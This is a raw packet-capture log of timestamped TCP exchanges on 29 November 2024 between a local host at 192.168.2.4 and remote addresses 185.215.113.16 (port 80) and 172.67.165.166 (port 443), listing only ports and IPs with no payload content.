Nov 29, 2024 20:07:40.547741890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.547811031 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.547837019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.547884941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.548459053 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.548522949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.548557043 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.548590899 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.549177885 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.549259901 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.549285889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.549320936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.549947023 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.550019026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.550157070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.550213099 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.550695896 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.550745010 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.550820112 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.550873041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.551384926 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.551403999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.551445961 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.551445961 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.580090046 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:40.580164909 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:40.581554890 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:40.581568003 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:40.581789017 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:40.583132029 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:40.583201885 CET	50072	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:40.583210945 CET	443	50072	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:40.706449032 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.706607103 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.706692934 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.706711054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.706721067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.706756115 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.706789017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.707372904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.707654953 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.707719088 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.707727909 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.707793951 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.708343029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.708410025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.708441973 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.708544016 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.709090948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.709151983 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.709378004 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.709458113 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.709770918 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.709816933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.709873915 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.709927082 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.710458994 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.710520983 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.710675001 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.710714102 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.711229086 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.711277008 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.711352110 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.711437941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.711924076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.712008953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.712034941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.712090969 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.712652922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.712760925 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.712774038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.712873936 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.713376999 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.713454008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.713480949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.713501930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.714127064 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.714184046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.714211941 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.714251041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.714833975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.714890003 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.714936018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.714999914 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.715719938 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.715792894 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.715884924 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.715933084 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.716293097 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.716341019 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.716350079 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.716475964 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.717089891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.717143059 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.717187881 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.717250109 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.717770100 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.717839956 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.717874050 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.717972994 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.718580008 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.718637943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.718693018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.718751907 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.719378948 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.719425917 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.719435930 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.719485998 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.719933987 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.719994068 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.720088005 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.720135927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.720642090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.720746994 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.721028090 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.721096039 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.721378088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.721453905 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.721482038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.721539021 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.722135067 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.722183943 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.722210884 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.722320080 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.723001003 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.723058939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.723186016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.723246098 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.723474026 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.723520041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.723584890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.723650932 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.724210024 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.724262953 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.724324942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.724395037 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.724942923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.725012064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.725018024 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.725094080 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.725651979 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.725719929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.725749016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.725805044 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.726370096 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.726469994 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.726527929 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.727093935 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.727158070 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.727211952 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.727292061 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.727829933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.727911949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.728081942 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.728131056 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.728549957 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.728619099 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.728703022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.728780985 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.729271889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.729332924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.729398966 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.729461908 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.729979038 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.730040073 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.730212927 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.730262041 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.730701923 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.730833054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.730910063 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.731415987 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.731460094 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.731540918 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.731595993 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.732134104 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.732193947 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.732245922 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.732311010 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.732847929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.732912064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.732956886 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.733004093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.733587027 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.733654022 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.733674049 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.733711958 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.734294891 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.734357119 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.734390020 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.734442949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.735023022 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.735085964 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.735212088 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.735260010 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.735723019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.735779047 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.735848904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.735898972 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.736454964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.736522913 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.736591101 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.736639977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.737169981 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.737224102 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.737307072 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.737365007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.737906933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.737982988 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.738008976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.738056898 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.738631964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.738765955 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.738838911 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.739353895 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.739411116 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.739412069 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.739527941 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.740106106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.740164042 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.740236044 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.740293026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.740787983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.740852118 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.740936041 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.741007090 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.741533995 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.741635084 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.741657019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.741728067 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.742300034 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.742347002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.742352009 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.742402077 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.743006945 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.743062019 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.743084908 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.743138075 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.743650913 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.743731976 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.743731976 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.743776083 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.898358107 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.898478031 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.898540020 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.898673058 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.898731947 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.898735046 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.898824930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.899429083 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.899477959 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.899485111 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.899513006 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.900161028 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.900368929 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.900419950 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.900496960 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.900543928 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.901170969 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.901240110 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.901242018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.901283026 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.901844025 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.901954889 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.901963949 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.901995897 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.902533054 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.902760983 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.902833939 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.903273106 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.903337002 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.903369904 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.903418064 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.903956890 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.904071093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.904136896 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.904191971 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.904685974 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.904757977 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.904802084 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.904850006 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.905445099 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.905520916 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.905567884 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.905658007 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.906161070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.906230927 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.906241894 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.906306028 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.906853914 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.906915903 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.907027006 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.907598972 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.907653093 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.907766104 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.907850981 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.908277988 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.908335924 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.908539057 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.908587933 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.909009933 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.909064054 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.909116030 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.909159899 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.909734964 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.909780025 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.909847975 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.909914017 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.910448074 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.910567045 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.910572052 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.910655975 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.911174059 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.911292076 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.911341906 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.911916018 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.911998034 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.912095070 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.912170887 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.912640095 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.912698984 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.912803888 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.912870884 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.913352966 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.913433075 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.913460016 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.913537979 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.914072990 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.914125919 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.914211035 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.914257050 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.914814949 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.915014029 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.915059090 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.915632010 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.915700912 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.915709019 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.915818930 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.916240931 CET	80	50071	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:40.916296005 CET	50071	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:40.916353941 CET	80	50071	185.215.113.16	192.168.2.4
